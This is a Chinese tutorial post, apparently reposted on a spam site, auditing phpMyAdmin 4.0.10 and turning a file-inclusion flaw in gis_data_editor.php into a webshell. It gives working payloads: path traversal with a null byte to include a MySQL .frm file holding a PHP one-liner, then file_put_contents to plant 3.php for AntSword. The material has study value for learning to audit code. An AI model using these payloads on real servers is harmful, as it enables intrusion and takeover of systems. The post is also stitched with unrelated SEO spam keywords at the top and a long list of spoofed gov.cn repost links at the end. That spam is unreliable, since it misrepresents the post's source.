帮彩票网站做流量提升,网上商城推广,当今做那些网站致富,通辽做网站的公司phpMyAdmin 4.0.10 文件包含 - getshell
前言#xff1a;这里这个漏洞相对来说审计起来不是特别难#xff0c;但是对于初学者还是有点挑战性的#xff0c;从zkaq web课过来的小伙伴想挑战一下自己代码审计能力的话#xff0c;可以直接跳到最后下载源码#xff0c;聂风…phpMyAdmin 4.0.10 文件包含 - getshell
前言这里这个漏洞相对来说审计起来不是特别难但是对于初学者还是有点挑战性的从zkaq web课过来的小伙伴想挑战一下自己代码审计能力的话可以直接跳到最后下载源码聂风老师上课教的是4.8版本的文件包含漏洞。注:源码本地搭建无法登录的话放在win7虚拟机里面运行 注如果直接跳到最后拿源码自己审计的话在文件包含的时候记得加上token值就是get传参中的那串token值留下。) 代码审计
这里的话漏洞规则是我自己写的 文件包含的话规则是
include.*\$.{1,5}|include_once.*\$.{1,5}|require.*\$.{1,5}|require_once.*\$.{1,5}如果师傅们有什么好的规则或者想法还请评论区分享下 这里的话自动审计出来的文件包含漏洞 还挺多的 这里的话我是自己一个一个追踪排除寻找漏洞的 所以可能有些地方有漏洞但是因为我知识浅薄没发现 这里漏洞不存在的案例就放一个了不然文章就得写太多了 这里的话能看到一个 include $_REQU 进入查看源码 这里需要满足四个条件才能够包含 target 1 !empty($_REQUEST[‘target’])
empty()函数判断内容中的变量是否为空 如果为空那么返回 True !是取反也就是检测是否非空 说白了就是看一下这里有没有传入target这个变量 2 is_string($_REQUEST[‘target’])
检测变量是否为字符串 3 ! preg_match(‘/^index/‘, $_REQUEST[‘target’])
正则表达式^符号为匹配开头也就是说开头需要是 index返回值才是True 结合前面的感叹号 “!” 布尔值取反 也就是说开头不能是 index 4 in_array($_REQUEST[‘target’], $goto_whitelist)
in_array() 判断第一个参数是否存在于第二个参数数组之中 也就是说第二个参数是一个数组 判断这个数组里面有没有第一个参数 前三个条件都好满足 主要是最后一个 全文搜索变量 $goto_whitelist 并没有找到关于它的定义 推测这可能是一个全局变量 全局搜索 点进去查看一下 这里的内容全部被写死了 也就是说不属于我们可以控制的范围 这个点就pass掉了
$goto_whitelist array(//browse_foreigners.php,//changelog.php,//chk_rel.php,db_create.php,db_datadict.php,db_sql.php,db_events.php,db_export.php,db_importdocsql.php,db_qbe.php,db_structure.php,db_import.php,db_operations.php,db_printview.php,db_search.php,db_routines.php,export.php,import.php,//index.php,//navigation.php,//license.php,index.php,pdf_pages.php,pdf_schema.php,//phpinfo.php,querywindow.php,server_binlog.php,server_collations.php,server_databases.php,server_engines.php,server_export.php,server_import.php,server_privileges.php,server_sql.php,server_status.php,server_status_advisor.php,server_status_monitor.php,server_status_queries.php,server_status_variables.php,server_variables.php,sql.php,tbl_addfield.php,tbl_change.php,tbl_create.php,tbl_import.php,tbl_indexes.php,tbl_move_copy.php,tbl_printview.php,tbl_sql.php,tbl_export.php,tbl_operations.php,tbl_structure.php,tbl_relation.php,tbl_replace.php,tbl_row_action.php,tbl_select.php,tbl_zoom_select.php,//themes.php,transformation_overview.php,transformation_wrapper.php,user_password.php,
);漏洞点 查看代码
class PMA_GIS_Factory
{/*** Returns the singleton instance of geometric class of the given type.** spanparam/span string $type type of the geometric object** spanreturn/span object the singleton instance of geometric class of the given type* spanaccess/span public* spanstatic#CTL{n}/span */public static function factory($type){include_once ./libraries/gis/pma_gis_geometry.php;$type_lower strtolower($type);if (! file_exists(./libraries/gis/pma_gis_ . $type_lower . .php)) {return false;}if (include_once ./libraries/gis/pma_gis_ . $type_lower . .php) {switch(strtoupper($type)) {case MULTIPOLYGON :return PMA_GIS_Multipolygon::singleton();case POLYGON :return PMA_GIS_Polygon::singleton();case MULTIPOINT :return PMA_GIS_Multipoint::singleton();case POINT :return PMA_GIS_Point::singleton();case MULTILINESTRING :return PMA_GIS_Multilinestring::singleton();case LINESTRING :return PMA_GIS_Linestring::singleton();case GEOMETRYCOLLECTION :return PMA_GIS_Geometrycollection::singleton();default :return false;}} else {return false;}}
}追踪过去 变量 $type_lower 被拼接在了内容里 向上追踪 这里 $type_lower 是将 $type 的字符转化为小写 $type 是函数的传入参数 然后我们搜索一下这个函数在哪里被调用了 一个一个往下找吧 除了第二个 因为第二个是定义这个函数 第一个这里传入参数是 $geom_type 向上追踪 $geom_type 这里 $geom_type是取出数组 $gis_data中的 gis_type 键所对应的值 也就是说 $gis_data 是一个数组 这个数组里面有键值对 把 gis_type 取出来 变成变量 $geom_type 再向上追溯 这个代码块会给 数组 gis_type 赋值 如果满足了 这些 if 条件 那么 gis_type 就相当于被写死了 查看最上面的 if 条件 ! isset($gis_data[‘gis_type’]) isset() 检测变量是否存在 存在返回 True 加上感叹号取反 就是不存在返回 True 也就是检测是否为空 为空才会执行 所以这里也没什么卵用 再向上追溯 这里第一句先给 $gis_data 建立成一个空数组 然后用了一个函数作为布尔值的返回 如果函数返回值为True 那么$gis_data的值就会变成我们所传入的 $_REQUEST[‘gis_data’] 追踪函数
function PMA_isValid($var, $type length, $compare null)
{if (! isset($var)) {// var is not even setreturn false;}if ($type false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}// allow some aliaes of var types$type strtolower($type);switch ($type) {case identic :$type identical;break;case len :$type length;break;case bool :$type boolean;break;case float :$type double;break;case int :$type integer;break;case null :$type NULL;break;}if ($type identical) {return $var $compare;}// whether we should check against given $compareif ($type similar) {switch (gettype($compare)) {case string:case boolean:$type scalar;break;case integer:case double:$type numeric;break;default:$type gettype($compare);}} elseif ($type equal) {$type gettype($compare);}// do the checkif ($type length || $type scalar) {$is_scalar is_scalar($var);if ($is_scalar $type length) {return (bool) strlen($var);}return $is_scalar;}if ($type numeric) {return is_numeric($var);}if (gettype($var) $type) {return true;}return false;
}我们一步一步来看 刚刚调用函数时传入的第一个参数为 $_REQUEST[‘gis_data’] 第二个参数为 ‘array’ 先来看前三个if语句 if (! isset($var)) {// var is not even setreturn false;}if ($type false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}第一个检测$var是否存在 不存在返回 false 如果我们传入了变量 $_REQUEST[‘gis_data’] 第一个 if 就无影响
第二个if 判断 $type 的值是否全等于 false 但是$type的值是array 也就过掉了
第三个if是判断$type是不是数组 很显然不是也过掉 然后就是一个switch语句
switch ($type) {case identic :$type identical;break;case len :$type length;break;case bool :$type boolean;break;case float :$type double;break;case int :$type integer;break;case null :$type NULL;break;
}这里的话 case 就是匹配 $type 的值 当 $type 的值和某一个对应上了 就执行这个case下的语句 很显然这里没有一个是array的 无影响 接下来的三个if还是判断 $type 的值有无对应的
但是很显然没有对应 if ($type similar) {switch (gettype($compare)) {case string:case boolean:$type scalar;break;case integer:case double:$type numeric;break;default:$type gettype($compare);}} elseif ($type equal) {$type gettype($compare);}// do the checkif ($type length || $type scalar) {$is_scalar is_scalar($var);if ($is_scalar $type length) {return (bool) strlen($var);}return $is_scalar;}if ($type numeric) {return is_numeric($var);}最后一个if语句
gettype() 获取参数的属性 $type - array 也就是说我们的$var需要是一个数组 这里的返回值就是True了 if (gettype($var) $type) {return true;}GetShell
利用聂风老师上课讲的知识点 创建一个表 写入一句话木马 注这里木马的密码不能是数字也不能和其他cms里已经用过的参数冲突不然会被判断值什么的然后重置 然后找一下sql文件的储存路径 得到路径 C:/phpStudy/MySQL/data/ 然后这里就有一个问题了 linux对路径大小写铭感 因为有一条语句会将我们传入的参数 都变成小写 所以在linux中如果路径里有大写字母 就不能用了 但是一般来说是小写 这也可以成为我们的一种防御思路 铭感路径用驼峰命名法 简单好用还能防漏洞 构造payload gis_data[gis_type]/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00aphpinfo();
wz是数据库库名 然后拼接起来的话就是 ./libraries/gis/pmagis/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00.php 因为%00 .php会被忽略 然后访问存在漏洞的页面 gis_data_editor.php 利用hackbar 将其他的参数删掉 留下token 因为会通过token值进行一些判断 如果没有token值可能被认定为CSRF攻击应该 从而被拦截 发送数据包之后如果没反应 可以把上面的url滑到最后 查看上面的url和自己填的一样不一样 不一样就改了 成功代码执行 然后再改造payload写入木马 gis_data[gis_type]/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00afile_put_contents(‘3.php’,’’);
这里的话用system() echo 写木马会有点问题,所以就直接用file_put_contents()了 访问3.php 连接蚁剑 成功拿下目标web服务器 总结
还是刚刚说的那些这里如果是Linux服务器的话并且sql文件储存路径有大小写的话就没办法拿到webshell了并且还不能任意文件包含还只能包含路径没有大写字符的反正至少以我目前的水平是不行的不过 linux 默认mysql文件的路径是 /var/lib/mysql/。默认情况下是无影响的。 声明⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的否则后果⾃⾏承担。所有渗透都需获取授权 文章转载自: http://www.morning.mfltz.cn.gov.cn.mfltz.cn http://www.morning.mhlkc.cn.gov.cn.mhlkc.cn http://www.morning.hjjhjhj.com.gov.cn.hjjhjhj.com http://www.morning.qmwzr.cn.gov.cn.qmwzr.cn http://www.morning.gcqs.cn.gov.cn.gcqs.cn http://www.morning.mmtjk.cn.gov.cn.mmtjk.cn http://www.morning.nswcw.cn.gov.cn.nswcw.cn http://www.morning.jqsyp.cn.gov.cn.jqsyp.cn http://www.morning.yrdn.cn.gov.cn.yrdn.cn http://www.morning.skrrq.cn.gov.cn.skrrq.cn http://www.morning.ydfr.cn.gov.cn.ydfr.cn http://www.morning.qlwfz.cn.gov.cn.qlwfz.cn http://www.morning.rcttz.cn.gov.cn.rcttz.cn http://www.morning.wqcz.cn.gov.cn.wqcz.cn http://www.morning.srmdr.cn.gov.cn.srmdr.cn http://www.morning.cnvlog.cn.gov.cn.cnvlog.cn http://www.morning.rwxnn.cn.gov.cn.rwxnn.cn http://www.morning.qkskm.cn.gov.cn.qkskm.cn http://www.morning.nzxdz.cn.gov.cn.nzxdz.cn http://www.morning.spxsm.cn.gov.cn.spxsm.cn http://www.morning.xoaz.cn.gov.cn.xoaz.cn http://www.morning.jxrpn.cn.gov.cn.jxrpn.cn http://www.morning.qdrhf.cn.gov.cn.qdrhf.cn http://www.morning.rqfnl.cn.gov.cn.rqfnl.cn http://www.morning.lmtbl.cn.gov.cn.lmtbl.cn http://www.morning.tjpmf.cn.gov.cn.tjpmf.cn http://www.morning.xbwqg.cn.gov.cn.xbwqg.cn http://www.morning.dxpqd.cn.gov.cn.dxpqd.cn http://www.morning.skcmt.cn.gov.cn.skcmt.cn http://www.morning.rhdln.cn.gov.cn.rhdln.cn http://www.morning.znnsk.cn.gov.cn.znnsk.cn http://www.morning.rzsxb.cn.gov.cn.rzsxb.cn http://www.morning.rhqr.cn.gov.cn.rhqr.cn http://www.morning.rcdmp.cn.gov.cn.rcdmp.cn http://www.morning.sflnx.cn.gov.cn.sflnx.cn http://www.morning.wfjrl.cn.gov.cn.wfjrl.cn http://www.morning.fcwb.cn.gov.cn.fcwb.cn http://www.morning.jmwrj.cn.gov.cn.jmwrj.cn http://www.morning.nqdkx.cn.gov.cn.nqdkx.cn http://www.morning.kgcss.cn.gov.cn.kgcss.cn http://www.morning.bpmnj.cn.gov.cn.bpmnj.cn http://www.morning.hfnbr.cn.gov.cn.hfnbr.cn http://www.morning.qhln.cn.gov.cn.qhln.cn http://www.morning.wwsgl.com.gov.cn.wwsgl.com http://www.morning.kfhm.cn.gov.cn.kfhm.cn http://www.morning.wtcd.cn.gov.cn.wtcd.cn http://www.morning.pylpd.cn.gov.cn.pylpd.cn http://www.morning.mygbt.cn.gov.cn.mygbt.cn http://www.morning.ljwyc.cn.gov.cn.ljwyc.cn http://www.morning.nlpbh.cn.gov.cn.nlpbh.cn http://www.morning.smggx.cn.gov.cn.smggx.cn http://www.morning.trzzm.cn.gov.cn.trzzm.cn http://www.morning.zzqgc.cn.gov.cn.zzqgc.cn http://www.morning.mjdbd.cn.gov.cn.mjdbd.cn http://www.morning.tgtwy.cn.gov.cn.tgtwy.cn http://www.morning.jfzbk.cn.gov.cn.jfzbk.cn http://www.morning.pwwdp.cn.gov.cn.pwwdp.cn http://www.morning.kzbpx.cn.gov.cn.kzbpx.cn http://www.morning.qrwnj.cn.gov.cn.qrwnj.cn http://www.morning.ffcsr.cn.gov.cn.ffcsr.cn http://www.morning.jpbky.cn.gov.cn.jpbky.cn http://www.morning.jbpdk.cn.gov.cn.jbpdk.cn http://www.morning.daidudu.com.gov.cn.daidudu.com http://www.morning.qyxwy.cn.gov.cn.qyxwy.cn http://www.morning.bwttp.cn.gov.cn.bwttp.cn http://www.morning.djbhz.cn.gov.cn.djbhz.cn http://www.morning.bpmft.cn.gov.cn.bpmft.cn http://www.morning.fjkkx.cn.gov.cn.fjkkx.cn http://www.morning.frtb.cn.gov.cn.frtb.cn http://www.morning.wjplm.cn.gov.cn.wjplm.cn http://www.morning.pjwfs.cn.gov.cn.pjwfs.cn http://www.morning.hnk25076he.cn.gov.cn.hnk25076he.cn http://www.morning.fbxlj.cn.gov.cn.fbxlj.cn http://www.morning.nfpkx.cn.gov.cn.nfpkx.cn http://www.morning.dfkby.cn.gov.cn.dfkby.cn http://www.morning.lkxzb.cn.gov.cn.lkxzb.cn http://www.morning.xrftt.cn.gov.cn.xrftt.cn http://www.morning.zcxjg.cn.gov.cn.zcxjg.cn http://www.morning.tbhlc.cn.gov.cn.tbhlc.cn http://www.morning.pgjyc.cn.gov.cn.pgjyc.cn